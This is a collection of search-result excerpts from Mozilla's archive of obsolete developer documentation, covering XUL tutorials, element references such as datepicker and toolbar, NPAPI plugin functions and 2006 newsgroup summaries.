...content/navigator.xul"> <rdf:li>chrome://findfile/content/foverlay.xul</rdf:li> </rdf:seq> mozilla reads this information and builds a list of overlays that are applied to other windows. it stores this information in the chrome/overlayinfo directory. you do not need to manually modify the files in this directory. it is automatically generated and modified when mozilla is first run or when
new packages are installed. however, you can force the data to be rebuilt by deleting this directory and the chrome.rdf file. as a side note, you can use a similar technique to apply extra style sheets. the following example shows how: <rdf:seq about="urn:mozilla:stylesheets"> <rdf:li resource="chrome://messenger/content/messenger.xul"/> </rdf:seq> <rdf:seq about="chrome://messenger/content/messen...
Document Object Model - Archive of obsolete content
ow is the global object, and the same is also true for xul. naturally, this global object will be different for each window. each frame will also have a separate window object. the window is often referred to using the window property, although this is optional. sometimes, this is done just to clarify the scope of the method you are referring to. for example, the following two lines which open a
new window are functionally equivalent: window.open("test.xul","_
new"); open("test.xul","_
new"); when you declare a function or a variable at the top level of a script, that is outside another function, you are actually declaring a property of the global object. in xul, each function you declare will be set as a property of the window object. for example, the following code will display the text '...
...an do the following: alert(window.opener.gettext()); each window has an opener property which holds the window object that opened this one. in this example, we retrieve the opener window and call the gettext() function declared in a script used there. note that we qualified the property with the 'window' identifier just to be clearer. the window's open() method also returns a reference to the
new window so you can call functions of the
new window from the opener. it is important to note, however, that the open() method returns before the window has fully loaded, so functions will not typically be available yet. the window object isn't defined by any dom specification, but in mozilla is sometimes considered part of dom level 0, a name used by some developers to refer to the dom-like funct...
Introduction to XBL - Archive of obsolete content
« previousnext » xul has a sister language, xbl (extensible bindings language). this language is used for declaring the behavior of xul widgets. bindings you can use xul to define the layout of a user interface for an application. you can customize the look of elements by applying styles to them. you can also create
new skins by changing the styles. the basic appearance of all elements, such as scroll bars and check boxes may be modified by adjusting the style or by setting attributes on the element. however, xul provides no means in which you can change how an element works (or add a
new element which can be reused). for example, you might want to change how the pieces of a scroll bar function. for this, you need xbl. an xbl file contains a set of bindings. each binding describes t...
...ntent: child elements that are added to the element that the binding is bound to. properties: properties added to the element. they can be accessed through a script. methods: methods added to the element. they can be called from a script. events: events, such as mouse clicks and keypresses that the element will respond to. the binding can add scripts to provide default handling. in addition
new events can be defined. style: custom style properties that the xbl defined element has. binding example the box is generic enough that you can use it to create custom widgets (although you can use any element, even one you make up yourself). by assigning a class to a box tag, you can associate a binding to only those boxes that belong to that class. the following example demonstrates this. xul...
List Controls - Archive of obsolete content
<listitem> <listcell label="mary ellen" /> <listcell label="candle maker" /> </listitem> <listitem> <listcell label="roger" /> <listcell label="swashbuckler" /> </listitem> </listbox> header rows list boxes also allow a special header row to be used. this is much like a regular row except that it is displayed differently. you would use this to create column headers. two
new elements are used. the listhead element is used for the header rows, just as the listitem element is used for regular rows. the header row is not a normal row however, so using a script to get the first row in the list box will skip the header row. the listheader element is used for each cell in the header row. use the label attribute to set the label for the header cell. here is the earlier exam...
...because the label attribute was not used in this example, the default value will be blank. in the next section, we'll learn about creating progress meters. « previousnext » ...
Modifying the Default Skin - Archive of obsolete content
nt skin, you can change the look of a window without changing its functionality. firefox provides a skin by default, and you may download others. the xul for any skins is the same, however the style sheets and images used are different. for a simple personalized look to a firefox window, you can easily change the style sheets associated with it. larger changes can be done by creating an entirely
new skin. firefox has a theme manager for changing the default skin. (although the underlying code for mozilla calls them skins and the user interface calls them themes, they're both referring to the same thing). a skin is described using css, allowing you to define the colors, borders and images used to draw elements. the file classic.jar contains the skin definitions. the global directory within t...
... this code changes the image associated with a checkbox. the first style sets the image for a normal checkbox and the second style sets the image for a checked checkbox. the modifier 'checked=true' makes the style only apply to elements which have their checked attributes set to true. see also : creating a skin for firefox and css getting started in the next section, we will look at creating a
new skin. « previousnext » ...
Open and Save Dialogs - Archive of obsolete content
ialog is closed, you can use the interface functions to get the file that was selected. creating a file picker to begin, you need to create a file picker component and initialize it. var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "select a file", nsifilepicker.modeopen); first, a
new file picker object is created and stored in the variable 'fp'. the 'init' function is used to initialize the file picker. this function takes three arguments, the window that is opening the dialog, the title of the dialog and the mode. the mode here is modeopen which is used for an open dialog. you can also use modegetfolder and modesave for the other two modes. these modes are constants of the n...
...a file. the function returns one of three constants: returnok - the user selected a file and pressed ok. the file the user selected will be stored in the file picker's file property. returncancel - the user pressed cancel. returnreplace - in the save mode, this return value identifies that the user selected a file to be replaced. (returnok will be returned when the user entered the name of a
new file.) you should check the return value and then get the file object from the file picker using the file property. var res = fp.show(); if (res != nsifilepicker.returncancel){ var thefile = fp.file; // --- do something with the file here --- } next, we'll see how to create a wizard. « previousnext » ...
XPCOM Interfaces - Archive of obsolete content
that implements the nsilocalfile interface. finally, we call functions provided by the interface. this interface is used to represent a single file. we've seen that interfaces are often named starting with 'nsi' or 'mozi'. components, however, are referred to using a uri like string. mozilla stores a list of all the components that are available in its own registry. a particular user can install
new components as needed. it works much like plug-ins. mozilla provides a file component, that is, a component that implements nsilocalfile. this component can be referred to using the string '@mozilla.org/file/local;1'. this string is called a contract id. the syntax of a contract id is: @<internetdomain>/module[/submodule[...]];<version>[?<name>=<value>[&<name>=<value>[...]]] other components c...
...he first parameter should be the file path, such as '/usr/local/mozilla'. leafname the filename without the directory part. filesize the size of the file. isdirectory() returns true if the nsilocalfile represents a directory. remove(recursive) deletes a file. if the recursive parameter is true, a directory and all of its files and subdirectories will also be deleted. copyto(directory,
newname) copies a file to another directory, optionally renaming the file. the directory should be a nsilocalfile holding the directory to copy the file to. moveto(directory,
newname) moves a file to another directory, or renames a file. the directory should be a nsilocalfile holding the directory to move the file to. in order to delete a file we first need to assign a file to the nsilocalfile.
Using Remote XUL - Archive of obsolete content
eeper/there.is.only.xul"> <menubar> <menu label="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="
newsgroups" value="https://www.mozilla.org/community.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="
newsbot" value="https://www.mozilla.org/
newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html...
...item label="bug writing" value="https://www.mozilla.org/quality/bug-writing-guidelines.html" /> </menupopup> </menu> <menu label="tools"> <menupopup> <menuitem label="view source" value="https://lxr.mozilla.org/seamonkey/" /> <menuitem label="tree status" value="https://tinderbox.mozilla.org/showbuilds.cgi?tree=seamonkey" /> <menuitem label="
new checkins" value="https://bonsai.mozilla.org/cvsquery.cgi?treeid=default&..." /> <menuitem label="submit a bug" value="https://bugzilla.mozilla.org/" /> </menupopup> </menu> <button label="faq" value="https://www.mozilla.org/faq.html" /> <button label="search" value="https://www.mozilla.org/search.html" /> </menubar> <iframe ...
XUL accessibility tool - Archive of obsolete content
has loaded, select either a local file, web url, or currently open window from the file menu to generate a xul report for that document. be aware that the report might take a little while to be ready depending on the complexity of the application being analyzed and the speed of your machine. ...
...r menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not recommended) (aaronandy) list of things to check manually, such as a list oftrees in the document (make sure they have accessible column picker equivs) or a list of toolbarbuttons (make sure they have accessible alternatives).
new features: (aaronlev) automatically test any
new windows as they are opened. (aaronandy) highlight or blink source element in original xul app upon click of referencing line in report. (aaronlev) compatibility with more xul applications. (aaronandy) maybe an online tool to automatically generate a xul a11y tool compatible with a user-specified xul app. (aaronandy) link report sections to relev...
XUL Coding Style Guidelines - Archive of obsolete content
hrome urls. javascript code shall be moved out of xul. dtd declaration. predefined entities. other guidelines mentioned in xhtml 1.1 recommendation. see details here. making xul localizable -- mandatory in the past, ui (display) related resource descriptions are stored in *.rc (for windows client) or *.ad (for unix client) so that they can be localized for a specific language or culture. in the
new world, mozilla 5.0, this is not true any more. most of the windows and dialogs in mozilla will be described using xul. to make xul stream/file localizable, several guidelines are to be adopted to make the translation work easier and less error-prone. the issues are discussed in details here: what is localizable? widget resources content data style info layout geometry how to make them localiza...
...ine, they won't bother to look at the rest of the file. references xul is discussed in depth in xul language spec and xul window language. ...
datepicker - Archive of obsolete content
al datepicker with three fields, but with an additional dropdown button to display a popup grid. there are several ways to set the selected day. in xul, the value attribute may be set to a value of the form yyyy-mm-dd to initialize the datepicker to a certain date. if not specified, the datepicker defaults to the current day. to change the selected date, the value property may be used to set a
new value in the form yyyy-mm-dd. the datevalue property may be used to retrieve and set the date using a date object. in addition, the date, month and year properties may be used to retrieve and modify each component of the date separately. !!attention: there is also a datepicker in tb-calendar with differing definitions for members (value is a date there) the change event is fired whenever the da...
...event handler may encounter erratic behavior when the date is changed using the keyboard instead of the mouse. to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers. a monthchange event is fired for the grid and popup datepickers whenever a
new month is navigated to or displayed. attributes disabled, firstdayofweek, readonly, type, tabindex, value properties date, dateleadingzero, datevalue, disabled, month, monthleadingzero, open, readonly, tabindex, value, year, yearleadingzero examples <datepicker type="grid" value="2007-03-26"/> attributes disabled type: boolean indicates whether the element is disabled or n...
image - Archive of obsolete content
attributes | properties | methods | related ] summary an element that displays an image, much like the html img element. the src attribute can be used to specify the url of the image. more information is available in the xul tutorial. note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth. the
new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: script code this event is sent...
...rror type: script code this event is sent to an image element when an error occurs loading the image. image.onload type: script code this event handler will be called on the image element when the image has finished loading. this applies whether the image is applied via the src attribute or the list-style-image style property. if you change the image, the event will fire again when the
new image loads. this event will not bubble up the element tree. src type: uri the uri of the content to appear in the element. validate type: one of the values below this attribute indicates whether to load the image from the cache or not. this would be useful if the images are stored remotely or you plan on swapping the image frequently. the following values are...
menupopup - Archive of obsolete content
orall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a
new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the pop...
...es of the element, and use those as the x and y arguments offset by the desired values. the popuptype should be one of the strings popup, context, or tooltip. each type of popup is intended to be displayed only temporarily; they are not expected to be displayed permanently. sizeto( width, height ) return type: no return value changes the current size of the popup to the
new width and height. related elements menu, menubar, menuitem, menulist, menuseparator interfaces nsiaccessibleprovider, nsidomxulpopupelement ...
notificationbox - Archive of obsolete content
label - label to appear on the notification. this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well. keep in mind that this is all xul so using html elements for styling might still need addi...
... label - label to appear on the notification. ...
prefwindow - Archive of obsolete content
, removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata acceptdialog() return type: no return value accepts the dialog and closes it, similar to pressing the ok button. addpane( prefpane ) return type: no return value append a prefpane to a list of panes. animate(aoldpane, a
newpane) this probably isn't a public method (?) canceldialog() return type: no return value cancels the dialog and closes it, similar to pressing the cancel button. centerwindowonscreen() return type: no return value centers the dialog on the screen. getbutton( type ) return type: button element returns the button element in the dialog corresponding to the given type. opensubdialog(...
...t preferences will be saved properly when the main dialog is closed. openwindow( windowtype, url, features, params ) return type: window open a child window. the windowtype is a string specifying a window type. if a window with that type is already open, this method will just switch that window to the front and focus it instead of opening another window. if a window of the type is not open, a
new one is opened displaying the supplied url. showpane( prefpane ) return type: no return value switch to a particular pane. notes usage patterns opening/initializing a prefwindow note that you can define an initwithparams() function in your sub window - to handle parameters passed using openwindow() in case the window was already open. for example the permissions manage...
scrollbox - Archive of obsolete content
els. they come out in a box. if their container doesn't give enough room to hold them (geometrically) what happens depends on the enclosing elements; often the content is just clipped off on the bottom or right (depending on what's too big to fit). <vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a
new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big content in the small view space. for the most pa...
...cases, but each scroll bar takes up additional width and so the appearance of one scroll bar can trigger the other one if it's close to the edge anyway. use overflow:scroll if you want the scroll bars on all the time. <vbox flex="1" style="overflow:auto"> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a
new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the flex="1" above may or may not be needed, or even desired. in our case an enclosing element also was overflow:auto. if the user made the window smaller, the outer box would get smaller in response and sprout its scroll ...
toolbar - Archive of obsolete content
pose of managing your toolbars by setting the toolboxid property on the toolbar. the chromeclass-toolbar class may be used to create a toolbar where its visibility depends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a
new window is opened and the specified resource is loaded into its browsing context.">window.open() method. more information is available in the xul tutorial. note: starting in gecko 1.9.1, toolbar items are moved from the toolbarpalette and added to the toolbar when a toolbar is first displayed. in earlier versions, a copy of each item was created and placed on the toolbar. this means that the pa...
...is an external toolbar (that is, one not contained in a toolbox), the id of the toolbox it should be considered to be part of. this makes it possible to have toolbars that are not contained within toolboxes, such as the add-on bar. methods insertitem( id, beforenode, wrapper, beforepermanent ) not in seamonkey 1.x return type: element add an item with the given id to the toolbar. the
new item is added just before the item given by the second argument. if the second argument is null, but the beforepermanent argument is true, the item is added to the beginning of the toolbar before the first permanent item. otherwise, if the beforepermanent argument is false, the
new item is added to the end of the toolbar. the third argument can be used to wrap the
new item in another element. usu...
tooltip - Archive of obsolete content
ctorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a
new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the popu...
... related tbd ...
Debugging a XULRunner Application - Archive of obsolete content
all start_venkman() when activated. troubleshooting x-jsd is not a registered protocol if the message "x-jsd is not a registered protocol" appears when trying to open *.js files in venkman, then add an empty file called .autoreg in the same directory as your xulrunner binary. if .autoreg already exists, then edit it to force the last modified time to be updated. xulrunner will then notice the
new components file. when adding a component to a xulrunner application, change the buildid in application.ini. function toopenwindowbytype is not defined if you get an error that "function toopenwindowbytype is not defined" you may add the following function to your scripts (doesn't seem to be in the venkman overlay): function toopenwindowbytype(intype, uri) { var winopts = "chrome,extrachrome...
...t window, uncheck the menu item "debug\exclude browser files" and find them in open windows tab when opening a js file in venkman, the code is unformatted and i get the following error in the jsconsole... security error: content at x-jsd:source?location=chrome%3a%2f%2fvenkman%2fcontent%2fvenkman-overlay.js&instance=12 may not load or link to chrome://venkman/skin/venkman-source.css. ...
Dialogs in XULRunner - Archive of obsolete content
> <radio id="2" selected="true" label="strawberries because of color"/> <radio id="3" label="bananna because it pre packaged"/> </radiogroup> </groupbox> </dialog> xul window elements have a special method to open dialogs, called window.opendialog(). here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "
newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element. in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel...
...ening and saving files. for instance, windows has supported built-in file open and file save dialogs for many years, and the macintosh has always had them. it makes creating an application easier for developers; in addition, the consistent user experience also makes applications easier to use. xul supports native implementations of filepickers (mozilla terminology for file open and save dialogs).
newer releases will allow using preferences to switch to a xul emulation filepicker, if you want to. the xul filepickers are xpcom components and must be instantiated before using, like this: function dofileopen() { /* see: http://developer.mozilla.org/en/docs/xul_tutorial:open_and_save_dialogs */ var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.o...
XUL Explorer - Archive of obsolete content
ow is still available. option to automatically update the preview as the editor changes. indicator in the statusbar shows errors. double-click to display error console. option to specify the snippet used to load the editor on startup. option to include a user snippet file. the snippets are merged with the built-in snippets at startup. double-click or drag-and-drop to insert a snippet file >
new allows user to pick any “template” snippet, as well as blank. simple xul checker can be used to ‘validate’ the xul snippet. it checks for legal element and attribute names, including allowed attributes for a given element. support attribute value checking where appropriate (boolean and enumerated values) - xul checker support “best practice” checks such as: using of commands and ke...
...re detailed information, see the xul_explorer:planning#feature_planning_for_xul_explorer. ...
reftest opportunities files - Archive of obsolete content
hat extra mark-up. in other cases, the design of the reference page may take more subtlety. for now, create a bug in the core product, testing component in the bugzilla, if you can point to a file in this list and can attach the html reference that can be used to compare the output. any assistance or comments here would be appreciated. if you have questions, please post to the mozilla.dev.quality
newsgroup on
news.mozilla.org (see at google groups). layout bugs that needs a reftest many of the bugzilla bugs in the core product, layout components with the in-testsuite? flag needs one or more reftests. if you create a reftest for any of these bugs please attach the reftest to the bug and ask for review from the assignee (or anyone else that seems appropriate judging from comments in the bug). n...
...er/htmlparser/tests/html/pre002.html parser/htmlparser/tests/html/pre001.html parser/htmlparser/tests/html/param002.html parser/htmlparser/tests/html/param001.html parser/htmlparser/tests/html/option.html parser/htmlparser/tests/html/obj003.html parser/htmlparser/tests/html/obj002.html parser/htmlparser/tests/html/obj001.html parser/htmlparser/tests/html/nulltest.html parser/htmlparser/tests/html/
newlines.html parser/htmlparser/tests/html/list003.html parser/htmlparser/tests/html/list002.html parser/htmlparser/tests/html/list001.html parser/htmlparser/tests/html/layer01.html parser/htmlparser/tests/html/layer003.html parser/htmlparser/tests/html/layer002.html parser/htmlparser/tests/html/layer001.html parser/htmlparser/tests/html/java.html parser/htmlparser/tests/html/insdel02.html parser/htm...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements content filtering, manipulation, and control in firefox 3 an open invitation from myk melez to contribute to the brainstorming of
new features for firefox 3 and future firefox releases. myk will be paying close attention to features dealing with content filtering, manipulation and control in ff3. to contribute visit the wiki discussions i wanna make an addon for firefox a commonly asked question in many
newsgroups. jesper kristensen pointed the requester here change download action for .rdp files on windows and os x a question regarding enabling firefox to associate .rdp files with microsoft remote desktop client so that the correct application opens the files automatically. me...
..., firefox and other assorted browsers. also a debate about which browser is "beating" which to a lesser extent further in the discussion. how to create firefox extension (chrome) to add images next to urls ? question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the mcafee siteadvisor extension. adding support for
new uri scheme question regarding creating a
new uri scheme for firefox on windows. helpful information was found here on mozillazine. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-27 - Archive of obsolete content
ing the possible choices to solve the problem. these were the following choices stated: search the filesystem for unneeded files delete or archive them, add a hard disk, move all or part of the concerned filesystem there move that tinderbox to a different machine with more empty disk space on october 23rd: nick responded to gavin and tony's posting. nick stated that the build engineers k
new that there was a problem with the tinderbox and that they would be solving the problem by adding a hard disk, and moving all or part of the concerned filesystem there. he also mentioned that the tinderbox is just a virtual machine, so you can easily allocate more space to it as need, assuming the host has some available. firefox 2 wont build under solaris 10 x86 october 26: alex was trying...
...to alex's posting on the same day, stating that he is not sure what packaging system solaris 10 x86 uses but thinks that he might need to install the developer packages of x and/or xrender and freetype which should contain the libxrender.* and libfreetype.* files that are need for the linking. october 27: alex responded to peter weilbacher posting stating that he is going to look for a solaris
newsgroup because he is not sure how to check if the library is installed or where to get the packages. october 26: masaki responded to alex's posting by providing a link to a similar bug that provides a work around to the problem he was having. the solution that masaki suggested was to add "-l/usr/sfw/lib" into moz_cairo_libs of config/autoconf.mk. moz_cairo_libs = -l$(libxul_dist)/lib -lmozcai...
mozilla-dev-extensions - Archive of obsolete content
weekly summaries 2006-09-29 2006-10-06 2006-10-13 2006-10-20 2006-10-27 2006-11-03 2006-11-10 2006-11-17 2006-11-24 2006-12-01 2006-12-08 weekly faq week 2006-09-29 questions and answers from the
newsgroup week 2006-10-06 questions and answers from the
newsgroup week 2006-10-13 questions and answers from the
newsgroup week 2006-10-20 questions and answers from the
newsgroup week 2006-10-27 questions and answers from the
newsgroup week 2006-11-03 questions and answers from the
newsgroup week 2006-11-10 questions and answers from the
newsgroup week 2006-11-17 questions and answers from the
newsgroup week 2006-11-24 questions and answers from the
newsgroup week 2006-12-01 questions and answers from the
newsgroup week 2006-12-08 questions a...
...eek 2006-10-27 questions and answers from the
newsgroup week 2006-11-03 questions and answers from the
newsgroup week 2006-11-10 questions and answers from the
newsgroup week 2006-11-17 questions and answers from the
newsgroup week 2006-11-24 questions and answers from the
newsgroup week 2006-12-01 questions and answers from the
newsgroup week 2006-12-08 questions and answers from the
newsgroup ...
2006-12-01 - Archive of obsolete content
ings vlad announced that the gecko devs will be taking over the ff2 triage meetings until gecko 1.9a1 ships (nov 28th). watch #grandparadiso for updates. discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting, this thread discusses where else can info about what happens at the meetings be found (since the agenda often seems bare). ...
...what happens at the meetings be found (since the agenda often seems bare). m.d.planning and dev
news blog are suggested. bon echo project status: remaining "to-do" items beltzner starts a discussion on when to offer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released). also discussed is the the mozilla_1_8_branch's npotb (not part of the build) checkin policy. this
newsgroup or "governance"? mitchell baker asks where should topics about organization and governance, moz.dev.planning or moz.governance? mozilla.org staff, project drivers, and technical oversight mike connor starts a discussion about the need for a "buck stops here" group and the replacement of drivers@mozilla.org. three replacement groups (with sample makeup) are proposed. meetings november ...
NPN_GetURLNotify - Archive of obsolete content
target name of the target window or frame, or one of several special target names. ...
...lt. syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp,
news, or mailto. target name of the target window or frame, or one of several special target names. for values, see npn_geturl(). notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes this value (see description below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the ...
NPN_RequestRead - Archive of obsolete content
yterange objects in a single call to npn_requestread(), or multiple calls to npn_requestread()), the browser can write individual ranges in any order, and with any number of npp_writeready() and npp_write() calls. the plug-in must allocate npbyterange objects, which the browser copies if necessary. the plug-in can free these as soon as the call returns. seekable streams are created by calling npp_
newstream() with np_seek as the stype mode. the plug-in can call npn_requestread() on streams that were not initially in np_seek mode as long as the stream is inherently seekable; npn_requestread() automatically changes the mode to np_seek. if the stream is not inherently seekable, the stream must have been put in np_seek mode initially (since the browser must cache all the stream data on disk in ...
...ache all the stream data on disk in order to access it randomly). ...
NPN_SetValue - Archive of obsolete content
scriptablenpobject nppvformvalue nppvplugindrawingmodel value the value of the specified variable to be set. returns if successful, the function should return nperr_no_error. if unsuccessful, the function should return the most relevant npapi error code. for possible values, see error codes. description a good place to set plugin operation mode such as windowless mode is npp_
new, so the browser knows right away what mode the plugin is designed to operate in. nppvpluginwindowbool (windows and unix) specifies that the plugin operates in windowed mode. the alternative is windowless where no window messages are sent to the plugin as there is no window associated with it. in windowless mode all the browser to plugin communications related to drawing, mouse, and keyboard inpu...
...o a boolean. ...
NPP - Archive of obsolete content
can use to store a pointer to an internal data structure associated with the instance; this field isn't modified by the browser. ndata a private value, owned by the browser, which is used to store data associated with the instance; this value should not be modified by the plug-in. ...
...sses a pointer to it to npp_
new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate. npp contains private instance data for both the plug-in and the browser. the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after this call returns, the npp pointer is no longer valid. ...
NPP_StreamAsFile - Archive of obsolete content
pointer to full path to a local file. if an error occurs while retrieving the data or writing the file, fname may be null. ...
... description when the stream is complete, the browser calls npp_streamasfile to provide the instance with a full path name for a local file for the stream. ...
NPP_Write - Archive of obsolete content
ccessful, the function signals an error by returning a negative value. the browser will destroy the stream by calling npp_destroystream. description the browser calls the npp_write function to deliver the data specified in a previous npp_writeready call to the plug-in. a plug-in must consume at least as many bytes as indicated in the npp_writeready call. after a stream is created by a call to npp_
newstream, the browser calls npp_write either: if the plug-in requested a normal-mode stream, the data in the stream is delivered to the plug-in instance in a series of calls to npp_writeready and npp_write. if the plug-in requested a seekable stream, the npn_requestread function requests reads of a specified byte range that results in a series of calls to npp_writeready and npp_write. the plug-in ...
...ent information depending in the type of stream. ...
NPAPI plug-in side API - Archive of obsolete content
h the browser. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. ...
...wser. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. ...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin. the downside to this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin. as of firefox 3 (and any gecko 1.9 based application) the use of install.js scripts is no longer supported and plugins must either be shipped as an executable installer or in a bundle as described here. ...
...rsion is fairly self-descriptive, it must be a toolkit version format. the target application block says which versions of an application the plugin is compatible with. it includes the application id and the minimum and maximum version of the application that the plugin works with. there can be multiple targetapplication blocks listed. the unpack property is necessary to tell applications using
newer versions of gecko to unpack the plugin because dlls can't be loaded from xpi files. providing updates when plugins are packaged in this way they can make use of the built in add-on update system. this allows a remote update file to be read periodically and an updated version of the plugin offered to the user or to mark the plugin as compatible with a wider range of applications. this is perfor...
The First Install Problem - Archive of obsolete content
and meta-information about how to load the plugin. this document supplements the key parsing methodology suggested for installers. the solution is to encourage plugin vendors to write registry keys to the win32 system registry, like the example application. this document proposes a meta-information model in the win32 registry similar to the one used by microsoft's hkey_classes_root\clsid\ where a
new activex control (ocx) on the system presents its uuid as a registry key (identifying the activex control) as well as information about where to find the ocx (e.g. under the inprocserver32 subkey). for mozilla-based browsers, this system would be on a per-module basis, and instead of a uuid, we'll use a uri nomenclature that gives us the desired uniqueness. this uri nomenclature is called a plugin...
...s, some installers may need to write to the hkey_current_user key; this doesn't require administrator privileges. traditionally, hkey_current_user is a copy of everything in hkey_local_machine. at present plugins registered using the hkey_current_user\software\mozillaplugins\ tree are ignored by firefox (bug 293062) but this is fixed in trunk builds (bug 293062). add the following values to the
newly created key -- some are string values (reg_sz), and some are actually subkeys. string values take the form stringvalue=valuedata, and subkeys contain their own string values and value data. "path" -- string value -- this would be the absolute path to the plugin module. this is the path to the actual dll. (note that the file name must still begin with "np", just as it must when the fi...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
overview recent versions of mozilla include an extension for writing plugins that use xembed instead of using the old xt-based mainloop that most plugins have been using since the netscape 3.x days. the use of the xt mainloop has been a problem for modern plugin development because very few modern applications that want to take advantage of the capabilities of
newer toolkits use xt. also, when included with builds of mozilla that are based on gtk 1.2 or gtk 2.x, the xt code that hosts the plugins is at best hacky and has been the source for many minor problems including inconsistent focus behavior as well as occasional crashes. it's recommended that you have a look at the gecko plugin api reference since this document will include information that assumes that you are already familiar with t...
... interfaces that you would normally expect to exist in the plugins will still exist when using xembed plugins. there are only two key differences: in the npp_setwindow call, the window parameter will be the xid of the hosting xembed window. as an implementation note, this is really the xid of a gtksocket window. in your plugin instance npp_getvalue call you need to make sure that you support the
new nppvpluginneedsxembed value. more information is included on this below. hosting using gtk2.x included below are a couple of code snippits that should help you get started as well as some hints on building a successful plugin. please use the following diagram as a reference: as you can see from the diagram above, it's pretty easy to set up a plugin using gtk2. the general idea is that you use t...
Plugins - Archive of obsolete content
ce (npapi) this reference describes the application programming interfaces for npapi plugins and provides information about how to use these interfaces. site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature. scripting plugins (npruntime) this reference describes the
new cross-browser npapi extensions that let plugins be scriptable and also let them access the script objects in the browser. shipping a plugin as a toolkit bundle plugins can be shipped as a toolkit bundle, allowing a user to easily install, uninstall and manage their personal plugins. supporting private browsing in plugins firefox 3.5 introduced support for private browsing; learn how to ...
...ension for mozilla plugins recent versions of mozilla on *nix-based systems include an extension for writing plugins that use xembed instead of using the old xt-based main loop that most plugins have been using since the netscape 3.x days. categories interwiki language links join the plugin development community choose your preferred method for joining the discussion: mailing list
newsgroup rss feed ...
Proposal - Archive of obsolete content
ware to support them.) but some of them could become standards in the future. note: those in the list below that are marked "in development" should not be implemented. "in development" means that they are still working on it and trying to come up with a draft. those labeled with "draft exists" can be implemented, but be warned that they could radically change. name description status easy
news topics easy
news topics (ent) is intended to be a very simple standard for describing how topic information can be introduced into an rss2.0
news feed. draft exists icbm let's you add latitude and longitude info to an item. spec exists itunes rss itunes extension modules used for ipradio/podcasting. spec exists media rss rss extension module used for iptv and ipradio/podcasting. spec exist...
...pics easy
news topics (ent) is intended to be a very simple standard for describing how topic information can be introduced into an rss2.0
